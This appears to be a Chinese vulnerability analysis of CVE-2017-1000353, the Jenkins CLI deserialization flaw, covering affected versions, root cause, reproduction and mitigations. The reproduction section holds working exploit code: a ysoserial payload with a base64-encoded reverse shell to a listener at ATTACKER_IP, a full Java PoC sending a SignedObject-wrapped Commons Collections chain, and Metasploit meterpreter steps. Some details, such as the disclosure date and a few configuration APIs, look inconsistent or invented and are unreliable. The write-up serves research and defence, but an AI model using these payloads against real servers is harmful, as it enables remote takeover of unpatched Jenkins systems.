一、漏洞简介¶
1.1 漏洞背景¶
2017年4月26日,Jenkins 官方发布安全公告,披露了一个影响极为严重的远程代码执行漏洞。该漏洞存在于 Jenkins 的 CLI(命令行接口)模块中,允许未经认证的攻击者通过发送特制的序列化 Java 对象在 Jenkins 服务器上执行任意代码。
此漏洞被评为 CISA 已知被利用漏洞目录 中的漏洞之一,表明其在野利用活动活跃。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2017-1000353 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | Jenkins CLI 反序列化远程代码执行漏洞 |
| 披露时间 | 2018-01-29 |
| 影响组件 | Jenkins 重大 |
| 属性 | 内容 |
|---|---|
| CVE 编号 | CVE-2017-1000353 |
| 危害等级 | 严重 (Critical) |
| CVSS 评分 | 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | CWE-502: 反序列化不可信数据 |
| 利用条件 | 无需认证,CLI 端口可达 |
| 影响组件 | Jenkins CLI (Remoting-based) |
| CISA 状态 | 已被列入已知被利用漏洞目录 (KEV) |
补充核验信息:公开时间:2018-01-29;NVD 评分:9.8(CRITICAL);CWE:CWE-502。
二、影响范围¶
2.1 受影响的版本¶
- Jenkins Weekly: 2.56 及更早版本
- Jenkins LTS: 2.46.1 及更早版本
2.2 不受影响的版本¶
- Jenkins Weekly: 2.57 及以上版本(引入 HTTP-based CLI 协议)
- Jenkins LTS: 2.46.2 及以上版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Jenkins CLI 服务可通过 HTTP(S) 或 TCP 端口访问
- 攻击者能够发送序列化的 Java 对象
SignedObject类未被列入黑名单(2.46.2/2.57 之前)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
攻击流程详解:
┌──────────────────────────────────────────────────────────────┐
│ 1. 攻击者准备阶段 │
│ └─> 使用 ysoserial 或自定义工具生成 SignedObject payload │
│ │
│ 2. 连接阶段 │
│ └─> 连接到 Jenkins CLI 端口 (HTTP/TCP) │
│ │
│ 3. 发送 Payload │
│ └─> 发送序列化的 SignedObject 对象 │
│ │
│ 4. Jenkins 处理 │
│ ├─> CLI 接收请求 │
│ ├─> 使用 new ObjectInputStream() 反序列化 │
│ ├─> 黑名单检查失败(SignedObject 不在黑名单中) │
│ └─> 触发内部对象的反序列化 │
│ │
│ 5. 代码执行 │
│ └─> Commons Collections 利用链执行恶意代码 │
└──────────────────────────────────────────────────────────────┘
SignedObject 绕过原理:
Jenkins 的反序列化保护采用黑名单机制,但 java.security.SignedObject 类未被列入黑名单。SignedObject 是一个包装类,内部可以包含任意的序列化对象:
public class SignedObject implements Serializable {
private byte[] content; // 内部包含另一个序列化对象
public Object getObject() {
// 会对内部对象进行反序列化
// 使用新的 ObjectInputStream,绕过原黑名单
}
}
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置: core/src/main/java/hudson/cli/CLI.java
// 简化的漏洞代码
public class CLI {
private void handleChannel(InputStream in, OutputStream out) {
try {
// 漏洞点:创建新的 ObjectInputStream 进行反序列化
// 这绕过了已有的黑名单检查
ObjectInputStream ois = new ObjectInputStream(in);
// 黑名单检查实现不完整
// SignedObject 类可以包装恶意对象绕过检查
Object obj = ois.readObject();
// 处理 CLI 命令...
} catch (Exception e) {
e.printStackTrace();
}
}
}
黑名单机制缺陷:
// 原有的黑名单检查
public class BlacklistChecker {
private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
"org.codehaus.groovy....",
"org.springframework....",
"org.apache.commons.collections.functors.",
// ... 其他类
// 问题:java.security.SignedObject 不在黑名单中!
));
public static void check(Class<?> clazz) {
String className = clazz.getName();
for (String blacklisted : BLACKLIST) {
if (className.startsWith(blacklisted)) {
throw new SecurityException("Blocked class: " + className);
}
}
}
}
修复后的代码:
// 2.46.2/2.57 版本的修复
public class BlacklistChecker {
private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
// ... 原有黑名单
"java.security.SignedObject", // 新增!
// ... 其他新增的危险类
));
}
利用链构造:
// 攻击者视角的 payload 构造
public class CVE_2017_1000353_Exploit {
public static void main(String[] args) throws Exception {
// 1. 首先构造 Commons Collections payload
Object ccPayload = createCommonsCollectionsPayload("calc.exe");
// 2. 将恶意对象包装在 SignedObject 中
SignedObject signedObject = new SignedObject(
(Serializable) ccPayload,
getFakePrivateKey(),
getFakeSignature()
);
// 3. 发送到 Jenkins CLI
sendToJenkinsCLI(signedObject);
}
private static Object createCommonsCollectionsPayload(String cmd) {
// 使用 ysoserial 的 CommonsCollections 链
// 或手动构造
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// ... 完成 payload 构造
return payload;
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
Docker 环境部署:
#!/bin/bash
# setup-vulnerable-jenkins.sh
# 拉取受影响版本
docker pull jenkins/jenkins:2.46.1
# 创建 docker-compose 文件
cat > docker-compose-vulnerable.yml << 'EOF'
version: '3'
services:
jenkins:
image: jenkins/jenkins:2.46.1
container_name: jenkins-cve-2017-1000353
privileged: true
user: root
ports:
- "8080:8080"
- "50000:50000"
environment:
- JAVA_OPTS=-Xmx2048m -Djenkins.install.runSetupWizard=false
- JENKINS_OPTS=--httpPort=8080
volumes:
- jenkins_home:/var/jenkins_home
- /var/run/docker.sock:/var/run/docker.sock
volumes:
jenkins_home:
EOF
# 启动容器
docker-compose -f docker-compose-vulnerable.yml up -d
# 等待启动
echo "等待 Jenkins 启动..."
sleep 90
# 获取管理员密码
echo "管理员密码:"
docker exec jenkins-cve-2017-1000353 cat /var/jenkins_home/secrets/initialAdminPassword
# 获取 CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar -O jenkins-cli.jar
4.2 PoC 演示与测试过程¶
方法1: 使用 ysoserial 和 Jenkins CLI
#!/bin/bash
# exploit-cve-2017-1000353.sh
JENKINS_URL="http://192.168.1.100:8080"
ATTACKER_IP="192.168.1.200"
LISTENER_PORT="4444"
# 下载 ysoserial
if [ ! -f ysoserial.jar ]; then
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial.jar
fi
# 下载 jenkins-cli.jar
wget $JENKINS_URL/jnlpJars/jenkins-cli.jar -O jenkins-cli.jar
# 生成 payload(反向 shell)
# 注意:需要 SignedObject 包装器
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# 发送 payload
# 方法A: 直接发送到 HTTP CLI endpoint
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
--data-binary @payload.bin \
"$JENKINS_URL/cli" -v
# 方法B: 使用 jenkins-cli.jar
java -jar jenkins-cli.jar -s $JENKINS_URL -webSocket \
help < payload.bin
方法2: 完整的 Java PoC
// CVE_2017_1000353_FullExploit.java
import java.io.*;
import java.net.*;
import java.security.*;
import java.util.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class CVE_2017_1000353_FullExploit {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java CVE_2017_1000353_FullExploit <target_url> <command>");
System.out.println("Example: java CVE_2017_1000353_FullExploit http://192.168.1.100:8080 \"touch /tmp/pwned\"");
return;
}
String targetUrl = args[0];
String command = args[1];
System.out.println("[*] Target: " + targetUrl);
System.out.println("[*] Command: " + command);
// Step 1: 创建 Commons Collections payload
Object ccPayload = createCommonsCollectionsPayload(command);
System.out.println("[+] Commons Collections payload created");
// Step 2: 包装进 SignedObject
SignedObject signedPayload = wrapInSignedObject(ccPayload);
System.out.println("[+] Wrapped in SignedObject");
// Step 3: 发送到 Jenkins
boolean success = sendPayload(targetUrl, signedPayload);
if (success) {
System.out.println("[+] Exploit sent successfully!");
} else {
System.out.println("[-] Exploit failed");
}
}
private static Object createCommonsCollectionsPayload(String command) throws Exception {
// Chained Transformer
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { command })
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// LazyMap 触发
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// TiedMapEntry
final org.apache.commons.collections.keyvalue.TiedMapEntry entry =
new org.apache.commons.collections.keyvalue.TiedMapEntry(lazyMap, "foo");
// HashSet 触发 hashCode
final Set set = new HashSet(1);
set.add("foo");
// 反射修改
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innerSet = (HashMap) f.get(set);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] table = (Object[]) f2.get(innerSet);
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
return set;
}
private static SignedObject wrapInSignedObject(Object payload) throws Exception {
// 创建伪造的密钥对
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
// 创建 SignedObject
SignedObject so = new SignedObject((Serializable) payload, kp.getPrivate(),
Signature.getInstance("SHA1withDSA"));
return so;
}
private static boolean sendPayload(String targetUrl, Object payload) {
try {
// 构造 CLI HTTP 请求
URL url = new URL(targetUrl + "/cli");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setDoOutput(true);
// 序列化并发送
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(payload);
oos.flush();
conn.getOutputStream().write(baos.toByteArray());
conn.getOutputStream().flush();
int responseCode = conn.getResponseCode();
System.out.println("[*] Response code: " + responseCode);
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
方法3: 使用 Metasploit
# Metasploit 利用模块
msfconsole
use exploit/multi/http/jenkins_cli_deserialization
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /cli
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
check
exploit
验证漏洞利用:
# 1. 监听反向 shell
nc -lvnp 4444
# 2. 发送 payload(另一个终端)
./exploit-cve-2017-1000353.sh
# 3. 成功后获得 shell
# 在 Jenkins 容器中验证
docker exec jenkins-cve-2017-1000353 ls -la /tmp/pwned
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 建议升级版本 | 备注 |
|---|---|---|
| Jenkins Weekly < 2.57 | 升级到 2.57+ | 推荐升级到最新版本 |
| Jenkins LTS < 2.46.2 | 升级到 2.46.2+ | 最小修复版本 |
重要变更 - CLI 协议切换:
Jenkins 2.54/2.46.2 引入了新的 HTTP-based CLI 协议,并默认禁用了基于 Remoting 的 CLI:
# 查看当前 CLI 协议设置
# 在 Jenkins Script Console 中执行:
# http://your-jenkins:8080/script
println Jenkins.instance.getDescriptor("hudson.cli.CLI").getProtocolNames()
# 输出示例:
# [interactive-web, webSocket, http, https]
# 注意:remoting 协议已被移除
升级命令:
# RPM/DEB 包安装的 Jenkins
sudo yum update jenkins # RHEL/CentOS
sudo apt-get update && sudo apt-get upgrade jenkins # Debian/Ubuntu
# WAR 包部署
wget https://updates.jenkins.io/download/war/2.46.2/jenkins.war
sudo systemctl stop jenkins
sudo cp jenkins.war /usr/share/jenkins/jenkins.war
sudo systemctl start jenkins
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案1: 禁用 Remoting-based CLI
# 方法A: 通过系统属性
java -Djenkins.CLI.disabled=true -jar jenkins.war
# 方法B: 在 jenkins.xml (Windows) 中添加
<arguments>-Djenkins.CLI.disabled=true -jar "%BASE%\jenkins.war"</arguments>
# 方法C: 通过 Web UI
# Manage Jenkins -> Script Console
Jenkins.instance.getDescriptor("hudson.cli.CLI").setEnabled(false)
Jenkins.instance.save()
方案2: 启用 HTTP-based CLI 并禁用 Remoting
// 在 Jenkins Script Console 中执行
import jenkins.model.Jenkins
import hudson.cli.CLI
def jenkins = Jenkins.instance
def cliDescriptor = jenkins.getDescriptor(CLI.class)
// 设置只允许 HTTP 协议
cliDescriptor.setProtocolNames(['http', 'https'] as List)
jenkins.save()
println "CLI protocols updated. Current protocols: ${cliDescriptor.getProtocolNames()}"
方案3: 访问控制
# 在反向代理层限制 /cli 端点
# Nginx 配置示例
location /cli {
deny all;
return 403;
}
# 或者限制到特定 IP
location /cli {
allow 10.0.0.0/8;
deny all;
proxy_pass http://jenkins:8080;
}
方案4: 网络隔离
# 防火墙规则
# 仅允许内网访问 Jenkins
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Jenkins Security Advisory 2017-04-26
- CISA Known Exploited Vulnerabilities Catalog - CVE-2017-1000353